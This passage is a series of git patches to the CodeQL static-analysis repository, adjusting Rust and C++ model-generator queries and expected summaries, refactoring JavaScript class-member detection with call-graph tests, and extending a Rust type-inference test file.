b/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql index eb0cd638b534..49b8d56fdff0 100644 --- a/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql +++ b/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql @@ -14,7 +14,7 @@ import PartialFlow::PartialPathGraph int explorationLimit() { result = 3 } -module PartialFlow = Heuristic::PropagateFlow::FlowExplorationFwd; +module PartialFlow = Heuristic::PropagateTaintFlow::FlowExplorationFwd; from PartialFlow::PartialPathNode source, PartialFlow::PartialPathNode sink, diff --git a/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql b/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql index 1ddec1ff618b..611faae5b410 100644 --- a/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql +++ b/rust/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPath.ql @@ -11,15 +11,15 @@ private import codeql.rust.dataflow.DataFlow import utils.modelgenerator.internal.CaptureModels import Heuristic -import PropagateFlow::PathGraph +import PropagateTaintFlow::PathGraph from - PropagateFlow::PathNode source, PropagateFlow::PathNode sink, DataFlowSummaryTargetApi api, - DataFlow::Node p, DataFlow::Node returnNodeExt + PropagateTaintFlow::PathNode source, PropagateTaintFlow::PathNode sink, + DataFlowSummaryTargetApi api, DataFlow::Node p, DataFlow::Node returnNodeExt where - PropagateFlow::flowPath(source, sink) and + PropagateTaintFlow::flowPath(source, sink) and p = source.getNode() and returnNodeExt = sink.getNode() and - exists(captureThroughFlow0(api, p, returnNodeExt)) + captureThroughFlow0(api, p, returnNodeExt) select sink.getNode(), source, sink, "There is flow from $@ to the $@.", source.getNode(), "parameter", sink.getNode(), "return value" diff --git a/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql b/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql index 002689a20390..2ea8bd1ce6de 100644 --- a/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql +++ b/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.ql @@ -3,7 +3,7 @@ import utils.modelgenerator.internal.CaptureModels import utils.test.InlineMadTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(Function f) { result = ContentSensitive::captureFlow(f, _) } + string getCapturedModel(Function f) { result = ContentSensitive::captureFlow(f, _, _) } string getKind() { result = "summary" } } From d8eafbb9e2807e237651534e1a3b82edf2536e02 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Tue, 29 Apr 2025 15:04:25 +0100 Subject: [PATCH 028/535] C++: Fixup queries and accept test changes. --- .../CaptureContentSummaryModels.ql | 2 +- .../dataflow/CaptureContentSummaryModels.ql | 2 +- .../dataflow/CaptureHeuristicSummaryModels.ql | 2 +- .../modelgenerator/dataflow/summaries.cpp | 46 +++++++++---------- 4 files changed, 26 insertions(+), 26 deletions(-) diff --git a/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index 8dc0c3d7f6b1..d49ace967ca8 100644 --- a/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/cpp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -9,5 +9,5 @@ import internal.CaptureModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _) +where flow = ContentSensitive::captureFlow(api, _, _) select flow order by flow diff --git a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql index 0156eaaeb988..a73cc1631989 100644 --- a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql +++ b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureContentSummaryModels.ql @@ -3,7 +3,7 @@ import utils.modelgenerator.internal.CaptureModels import InlineModelsAsDataTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(MadRelevantFunction c) { result = ContentSensitive::captureFlow(c, _) } + string getCapturedModel(MadRelevantFunction c) { result = ContentSensitive::captureFlow(c, _, _) } string getKind() { result = "contentbased-summary" } } diff --git a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql index 3ab1dc6c4710..14423e8c078c 100644 --- a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql +++ b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/CaptureHeuristicSummaryModels.ql @@ -3,7 +3,7 @@ import utils.modelgenerator.internal.CaptureModels import InlineModelsAsDataTest module InlineMadTestConfig implements InlineMadTestConfigSig { - string getCapturedModel(MadRelevantFunction c) { result = Heuristic::captureFlow(c) } + string getCapturedModel(MadRelevantFunction c) { result = Heuristic::captureHeuristicFlow(c, _) } string getKind() { result = "heuristic-summary" } } diff --git a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/summaries.cpp b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/summaries.cpp index 74869a69994e..d4f96f67ff35 100644 --- a/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/summaries.cpp +++ b/cpp/ql/test/library-tests/dataflow/modelgenerator/dataflow/summaries.cpp @@ -10,32 +10,32 @@ namespace Models { //No model as destructors are excluded from model generation. ~BasicFlow() = default; - //heuristic-summary=Models;BasicFlow;true;returnThis;(int *);;Argument[-1];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;BasicFlow;true;returnThis;(int *);;Argument[-1];ReturnValue[*];value;df-generated //contentbased-summary=Models;BasicFlow;true;returnThis;(int *);;Argument[-1];ReturnValue[*];value;dfc-generated BasicFlow* returnThis(int* input) { return this; } - //heuristic-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[0];ReturnValue;taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[*0];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[0];ReturnValue;value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[*0];ReturnValue[*];value;df-generated //contentbased-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[0];ReturnValue;value;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnParam0;(int *,int *);;Argument[*0];ReturnValue[*];value;dfc-generated int* returnParam0(int* input0, int* input1) { return input0; } - //heuristic-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[1];ReturnValue;taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[*1];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[1];ReturnValue;value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[*1];ReturnValue[*];value;df-generated //contentbased-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[1];ReturnValue;value;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnParam1;(int *,int *);;Argument[*1];ReturnValue[*];value;dfc-generated int* returnParam1(int* input0, int* input1) { return input1; } - //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[1];ReturnValue;taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[*1];ReturnValue[*];taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[2];ReturnValue;taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[*2];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[1];ReturnValue;value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[*1];ReturnValue[*];value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[2];ReturnValue;value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[*2];ReturnValue[*];value;df-generated //contentbased-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[1];ReturnValue;value;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[*1];ReturnValue[*];value;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnParamMultiple;(bool,int *,int *);;Argument[2];ReturnValue;value;dfc-generated @@ -46,9 +46,9 @@ namespace Models { //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[0];Argument[*1];taint;df-generated //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[0];ReturnValue[*];taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[*0];ReturnValue[*];taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[1];ReturnValue;taint;df-generated - //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[*0];Argument[*1];taint;df-generated + //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[*0];ReturnValue[*];value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[1];ReturnValue;value;df-generated + //heuristic-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[*0];Argument[*1];value;df-generated //contentbased-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[0];Argument[*1];taint;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[0];ReturnValue[*];taint;dfc-generated //contentbased-summary=Models;BasicFlow;true;returnSubstring;(const char *,char *);;Argument[*0];ReturnValue[*];value;dfc-generated @@ -79,14 +79,14 @@ namespace Models { struct TemplatedFlow { T tainted; - //heuristic-summary=Models;TemplatedFlow;true;template_returnThis;(T);;Argument[-1];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;TemplatedFlow;true;template_returnThis;(T);;Argument[-1];ReturnValue[*];value;df-generated //contentbased-summary=Models;TemplatedFlow;true;template_returnThis;(T);;Argument[-1];ReturnValue[*];value;dfc-generated TemplatedFlow* template_returnThis(T input) { return this; } - //heuristic-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[0];ReturnValue;taint;df-generated - //heuristic-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[*0];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[0];ReturnValue;value;df-generated + //heuristic-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[*0];ReturnValue[*];value;df-generated //contentbased-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[0];ReturnValue;value;dfc-generated //contentbased-summary=Models;TemplatedFlow;true;template_returnParam0;(T *,T *);;Argument[*0];ReturnValue[*];value;dfc-generated T* template_returnParam0(T* input0, T* input1) { @@ -105,8 +105,8 @@ namespace Models { return tainted; } - //heuristic-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[0];ReturnValue;taint;df-generated - //heuristic-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[*0];ReturnValue[*];taint;df-generated + //heuristic-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[0];ReturnValue;value;df-generated + //heuristic-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[*0];ReturnValue[*];value;df-generated //contentbased-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[0];ReturnValue;value;dfc-generated //contentbased-summary=Models;TemplatedFlow;true;templated_function;(U *,T *);;Argument[*0];ReturnValue[*];value;dfc-generated template @@ -130,7 +130,7 @@ namespace Models { } //heuristic-summary=;;true;toplevel_function;(int *);;Argument[0];ReturnValue;taint;df-generated -//heuristic-summary=;;true;toplevel_function;(int *);;Argument[*0];ReturnValue;taint;df-generated +//heuristic-summary=;;true;toplevel_function;(int *);;Argument[*0];ReturnValue;value;df-generated //heuristic-summary=;;true;toplevel_function;(int *);;Argument[0];Argument[*0];taint;df-generated //contentbased-summary=;;true;toplevel_function;(int *);;Argument[0];Argument[*0];taint;dfc-generated //contentbased-summary=;;true;toplevel_function;(int *);;Argument[0];ReturnValue;taint;dfc-generated @@ -145,13 +145,13 @@ static int static_toplevel_function(int* p) { } struct NonFinalStruct { - //heuristic-summary=;NonFinalStruct;true;public_not_final_member_function;(int);;Argument[0];ReturnValue;taint;df-generated + //heuristic-summary=;NonFinalStruct;true;public_not_final_member_function;(int);;Argument[0];ReturnValue;value;df-generated //contentbased-summary=;NonFinalStruct;true;public_not_final_member_function;(int);;Argument[0];ReturnValue;value;dfc-generated virtual int public_not_final_member_function(int x) { return x; } - //heuristic-summary=;NonFinalStruct;false;public_final_member_function;(int);;Argument[0];ReturnValue;taint;df-generated + //heuristic-summary=;NonFinalStruct;false;public_final_member_function;(int);;Argument[0];ReturnValue;value;df-generated //contentbased-summary=;NonFinalStruct;false;public_final_member_function;(int);;Argument[0];ReturnValue;value;dfc-generated virtual int public_final_member_function(int x) final { return x; @@ -171,13 +171,13 @@ struct NonFinalStruct { }; struct FinalStruct final { - //heuristic-summary=;FinalStruct;false;public_not_final_member_function_2;(int);;Argument[0];ReturnValue;taint;df-generated + //heuristic-summary=;FinalStruct;false;public_not_final_member_function_2;(int);;Argument[0];ReturnValue;value;df-generated //contentbased-summary=;FinalStruct;false;public_not_final_member_function_2;(int);;Argument[0];ReturnValue;value;dfc-generated virtual int public_not_final_member_function_2(int x) { return x; } - //heuristic-summary=;FinalStruct;false;public_final_member_function_2;(int);;Argument[0];ReturnValue;taint;df-generated + //heuristic-summary=;FinalStruct;false;public_final_member_function_2;(int);;Argument[0];ReturnValue;value;df-generated //contentbased-summary=;FinalStruct;false;public_final_member_function_2;(int);;Argument[0];ReturnValue;value;dfc-generated virtual int public_final_member_function_2(int x) final { return x; @@ -211,7 +211,7 @@ struct HasInt { //contentbased-summary=;;true;copy_struct;(HasInt *,const HasInt *);;Argument[*1];Argument[*0];value;dfc-generated //heuristic-summary=;;true;copy_struct;(HasInt *,const HasInt *);;Argument[1];Argument[*0];taint;df-generated //heuristic-summary=;;true;copy_struct;(HasInt *,const HasInt *);;Argument[1];Argument[*1];taint;df-generated -//heuristic-summary=;;true;copy_struct;(HasInt *,const HasInt *);;Argument[*1];Argument[*0];taint;df-generated +//heuristic-summary=;;true;copy_struct;(HasInt *,const HasInt *);;Argument[*1];Argument[*0];value;df-generated int copy_struct(HasInt *out, const HasInt *in) { *out = *in; return 1; From fc7520e9e7ce9ea7ae0d618b328969b72ef52cab Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 29 Apr 2025 13:55:58 +0200 Subject: [PATCH 029/535] Added change note --- .../ql/lib/change-notes/2025-04-29-combined-es6-func.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md diff --git a/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md b/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md new file mode 100644 index 000000000000..2303d3d8c629 --- /dev/null +++ b/javascript/ql/lib/change-notes/2025-04-29-combined-es6-func.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Improved analysis for `ES6 classes` mixed with `function prototypes`, leading to more accurate call graph resolution. From c0917434ebc01814f443836ea74da8da506feb55 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 30 Apr 2025 11:45:00 +0200 Subject: [PATCH 030/535] Removed code duplication --- .../lib/semmle/javascript/dataflow/Nodes.qll | 22 ++----------------- 1 file changed, 2 insertions(+), 20 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 22e8511509a1..52547d5f5905 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -1309,8 +1309,7 @@ module ClassNode { result = method.getBody().flow() ) or - // ES6 class property in constructor - astNode instanceof ClassDefinition and + // ES6 class property or Function-style class methods via constructor kind = MemberKind::method() and exists(ThisNode receiver | receiver = this.getConstructor().getReceiver() and @@ -1324,14 +1323,6 @@ module ClassNode { proto.hasPropertyWrite(name, result) ) or - // Function-style class methods via constructor - astNode instanceof Function and - kind = MemberKind::method() and - exists(ThisNode receiver | - receiver = this.getConstructor().getReceiver() and - receiver.hasPropertyWrite(name, result) - ) - or // Function-style class accessors astNode instanceof Function and exists(PropertyAccessor accessor | @@ -1351,8 +1342,7 @@ module ClassNode { result = method.getBody().flow() ) or - // ES6 class property in constructor - astNode instanceof ClassDefinition and + // ES6 class property or Function-style class methods via constructor kind = MemberKind::method() and exists(ThisNode receiver | receiver = this.getConstructor().getReceiver() and @@ -1366,14 +1356,6 @@ module ClassNode { result = proto.getAPropertySource() ) or - // Function-style class methods via constructor - astNode instanceof Function and - kind = MemberKind::method() and - exists(ThisNode receiver | - receiver = this.getConstructor().getReceiver() and - result = receiver.getAPropertySource() - ) - or // Function-style class accessors astNode instanceof Function and exists(PropertyAccessor accessor | From 7430d0e5e0b80fcdcc27ce2183aeec00554f2dd0 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 30 Apr 2025 19:55:42 +0200 Subject: [PATCH 031/535] Added failing test with method as field --- .../CallGraphs/AnnotatedTest/Test.expected | 2 ++ .../CallGraphs/AnnotatedTest/prototypes.js | 33 +++++++++++++++++++ 2 files changed, 35 insertions(+) diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected index 0abd563b4193..de49ab455906 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected @@ -2,6 +2,8 @@ spuriousCallee missingCallee | constructor-field.ts:40:5:40:14 | f3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | | constructor-field.ts:71:1:71:11 | bf3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | +| prototypes.js:117:5:117:19 | this.tmpClass() | prototypes.js:113:1:113:22 | functio ... ss() {} | -1 | calls | +| prototypes.js:131:5:131:23 | this.tmpPrototype() | prototypes.js:127:1:127:26 | functio ... pe() {} | -1 | calls | badAnnotation accessorCall | accessors.js:12:1:12:5 | obj.f | accessors.js:5:8:5:12 | () {} | diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js index 2556e07a2796..815a9e7f1e77 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js @@ -107,3 +107,36 @@ class Derived2 {} Derived2.prototype = Object.create(Base.prototype); /** name:Derived2.read */ Derived2.prototype.read = function() {}; + + +/** name:BanClass.tmpClass */ +function tmpClass() {} + +function callerClass() { + /** calls:BanClass.tmpClass */ + this.tmpClass(); +} +class BanClass { + constructor() { + this.tmpClass = tmpClass; + this.callerClass = callerClass; + } +} + +/** name:BanProtytpe.tmpPrototype */ +function tmpPrototype() {} + +function callerPrototype() { + /** calls:BanProtytpe.tmpPrototype */ + this.tmpPrototype(); +} + +function BanProtytpe() { + this.tmpPrototype = tmpPrototype; + this.callerPrototype = callerPrototype; +} + +function banInstantiation(){ + const instance = new BanProtytpe(); + instance.callerPrototype(); +} From 9bab59363c1a5ba1f0efad4ca402e0b977b95532 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 1 May 2025 08:15:26 +0200 Subject: [PATCH 032/535] Fix class instance method detection in constructor receiver --- javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll | 6 ++++++ .../library-tests/CallGraphs/AnnotatedTest/Test.expected | 2 -- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 52547d5f5905..646d9c798cc2 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -1330,6 +1330,9 @@ module ClassNode { accessor.getName() = name and result = accessor.getInit().flow() ) + or + kind = MemberKind::method() and + result = this.getConstructor().getReceiver().getAPropertySource(name) } override FunctionNode getAnInstanceMember(MemberKind kind) { @@ -1362,6 +1365,9 @@ module ClassNode { accessor = this.getAnAccessor(kind) and result = accessor.getInit().flow() ) + or + kind = MemberKind::method() and + result = this.getConstructor().getReceiver().getAPropertySource() } override FunctionNode getStaticMember(string name, MemberKind kind) { diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected index de49ab455906..0abd563b4193 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected @@ -2,8 +2,6 @@ spuriousCallee missingCallee | constructor-field.ts:40:5:40:14 | f3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | | constructor-field.ts:71:1:71:11 | bf3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | -| prototypes.js:117:5:117:19 | this.tmpClass() | prototypes.js:113:1:113:22 | functio ... ss() {} | -1 | calls | -| prototypes.js:131:5:131:23 | this.tmpPrototype() | prototypes.js:127:1:127:26 | functio ... pe() {} | -1 | calls | badAnnotation accessorCall | accessors.js:12:1:12:5 | obj.f | accessors.js:5:8:5:12 | () {} | From c7d764f6663635f2e17dd7621fc88a8fa7632623 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 1 May 2025 09:18:44 +0200 Subject: [PATCH 033/535] Brought back `FunctionStyleClass` marked as `deprecated` --- javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll | 2 ++ 1 file changed, 2 insertions(+) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 646d9c798cc2..4cceb9192ea9 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -1236,6 +1236,8 @@ module ClassNode { func instanceof AbstractCallable // the join-order goes bad if `func` has type `AbstractFunction`. } + deprecated class FunctionStyleClass = StandardClassNode; + /** * A function definition, targeted by a `new`-call or with prototype manipulation, seen as a `ClassNode` instance. * Or An ES6 class as a `ClassNode` instance. From 22407cad44bfb3880563dfb56afdca5ba4a5b755 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Mon, 28 Apr 2025 13:28:33 +0200 Subject: [PATCH 034/535] Rust: Add type inference test for non-universal impl blocks --- .../test/library-tests/type-inference/main.rs | 213 ++++++++++++++++-- 1 file changed, 191 insertions(+), 22 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index fa16b6264740..61969feb2041 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -130,7 +130,7 @@ mod method_non_parametric_impl { println!("{:?}", y.a); // $ fieldof=MyThing println!("{:?}", x.m1()); // $ MISSING: method=MyThing::m1 - println!("{:?}", y.m1().a); // $ MISSING: method=MyThing::m1, field=MyThing + println!("{:?}", y.m1().a); // $ MISSING: method=MyThing::m1 fieldof=MyThing let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; @@ -141,15 +141,23 @@ mod method_non_parametric_impl { } mod method_non_parametric_trait_impl { - #[derive(Debug)] + #[derive(Debug, Clone, Copy)] struct MyThing { a: A, } - #[derive(Debug)] + #[derive(Debug, Clone, Copy)] + struct MyPair { + p1: P1, + p2: P2, + } + + #[derive(Debug, Clone, Copy)] struct S1; - #[derive(Debug)] + #[derive(Debug, Clone, Copy)] struct S2; + #[derive(Debug, Clone, Copy, Default)] + struct S3; trait MyTrait { fn m1(self) -> A; @@ -162,6 +170,13 @@ mod method_non_parametric_trait_impl { } } + trait MyProduct { + // MyProduct::fst + fn fst(self) -> A; + // MyProduct::snd + fn snd(self) -> B; + } + fn call_trait_m1>(x: T2) -> T1 { x.m1() // $ method=m1 } @@ -180,18 +195,170 @@ mod method_non_parametric_trait_impl { } } + // Implementation where the type parameter `TD` only occurs in the + // implemented trait and not the implementing type. + impl MyTrait for MyThing + where + TD: Default, + { + // MyThing::m1 + fn m1(self) -> TD { + TD::default() + } + } + + impl MyTrait for MyPair { + // MyTrait::m1 + fn m1(self) -> I { + self.p1 // $ fieldof=MyPair + } + } + + impl MyTrait for MyPair { + // MyTrait::m1 + fn m1(self) -> S3 { + S3 + } + } + + impl MyTrait for MyPair, S3> { + // MyTrait::m1 + fn m1(self) -> TT { + let alpha = self.p1; // $ fieldof=MyPair + alpha.a // $ fieldof=MyThing + } + } + + // This implementation only applies if the two type parameters are equal. + impl MyProduct for MyPair { + // MyPair::fst + fn fst(self) -> A { + self.p1 // $ fieldof=MyPair + } + + // MyPair::snd + fn snd(self) -> A { + self.p2 // $ fieldof=MyPair + } + } + + // This implementation swaps the type parameters. + impl MyProduct for MyPair { + // MyPair::fst + fn fst(self) -> S1 { + self.p2 // $ fieldof=MyPair + } + + // MyPair::snd + fn snd(self) -> S2 { + self.p1 // $ fieldof=MyPair + } + } + + fn get_fst>(p: P) -> V1 { + p.fst() // $ method=MyProduct::fst + } + + fn get_snd>(p: P) -> V2 { + p.snd() // $ method=MyProduct::snd + } + + fn get_snd_fst>(p: MyPair) -> V1 { + p.p2.fst() // $ fieldof=MyPair method=MyProduct::fst + } + + trait ConvertTo { + // ConvertTo::convert_to + fn convert_to(self) -> T; + } + + impl> ConvertTo for T { + // T::convert_to + fn convert_to(self) -> S1 { + self.m1() // $ method=m1 + } + } + + fn convert_to>(thing: T) -> TS { + thing.convert_to() // $ method=ConvertTo::convert_to + } + + fn type_bound_type_parameter_impl>(thing: TP) -> S1 { + // The trait bound on `TP` makes the implementation of `ConvertTo` valid + thing.convert_to() // $ MISSING: method=T::convert_to + } + pub fn f() { - let x = MyThing { a: S1 }; - let y = MyThing { a: S2 }; + let thing_s1 = MyThing { a: S1 }; + let thing_s2 = MyThing { a: S2 }; + let thing_s3 = MyThing { a: S3 }; - println!("{:?}", x.m1()); // $ MISSING: method=MyThing::m1 - println!("{:?}", y.m1().a); // $ MISSING: method=MyThing::m1, field=MyThing + // Tests for method resolution - let x = MyThing { a: S1 }; - let y = MyThing { a: S2 }; + println!("{:?}", thing_s1.m1()); // $ MISSING: method=MyThing::m1 + println!("{:?}", thing_s2.m1().a); // $ MISSING: method=MyThing::m1 fieldof=MyThing + let s3: S3 = thing_s3.m1(); // $ MISSING: method=MyThing::m1 + println!("{:?}", s3); + + let p1 = MyPair { p1: S1, p2: S1 }; + println!("{:?}", p1.m1()); // $ MISSING: method=MyTrait::m1 - println!("{:?}", call_trait_m1(x)); // MISSING: type=call_trait_m1(...):S1 - println!("{:?}", call_trait_m1(y).a); // MISSING: field=MyThing + let p2 = MyPair { p1: S1, p2: S2 }; + println!("{:?}", p2.m1()); // $ MISSING: method=MyTrait::m1 + + let p3 = MyPair { + p1: MyThing { a: S1 }, + p2: S3, + }; + println!("{:?}", p3.m1()); // $ MISSING: method=MyTrait::m1 + + // These calls go to the first implementation of `MyProduct` for `MyPair` + let a = MyPair { p1: S1, p2: S1 }; + let x = a.fst(); // $ method=MyPair::fst + println!("{:?}", x); + let y = a.snd(); // $ method=MyPair::snd + println!("{:?}", y); + + // These calls go to the last implementation of `MyProduct` for + // `MyPair`. The first implementation does not apply as the type + // parameters of the implementation enforce that the two generics must + // be equal. + let b = MyPair { p1: S2, p2: S1 }; + let x = b.fst(); // $ MISSING: method=MyPair::fst SPURIOUS: method=MyPair::fst + println!("{:?}", x); + let y = b.snd(); // $ MISSING: method=MyPair::snd SPURIOUS: method=MyPair::snd + println!("{:?}", y); + + // Tests for inference of type parameters based on trait implementations. + + let x = call_trait_m1(thing_s1); // $ MISSING: type=x:S1 + println!("{:?}", x); + let y = call_trait_m1(thing_s2); // $ MISSING: type=y:MyThing type=y.A:S2 + println!("{:?}", y.a); // $ MISSING: fieldof=MyThing + + // First implementation + let a = MyPair { p1: S1, p2: S1 }; + let x = get_fst(a); // $ type=x:S1 + println!("{:?}", x); + let y = get_snd(a); // $ type=y:S1 + println!("{:?}", y); + + // Second implementation + let b = MyPair { p1: S2, p2: S1 }; + let x = get_fst(b); // $ type=x:S1 SPURIOUS: type=x:S2 + println!("{:?}", x); + let y = get_snd(b); // $ type=y:S2 SPURIOUS: type=y:S1 + println!("{:?}", y); + + let c = MyPair { + p1: S3, + p2: MyPair { p1: S2, p2: S1 }, + }; + let x = get_snd_fst(c); // $ type=x:S1 SPURIOUS: type=x:S2 + + let thing = MyThing { a: S1 }; + let i = thing.convert_to(); // $ MISSING: type=i:S1 MISSING: method=T::convert_to + let j = 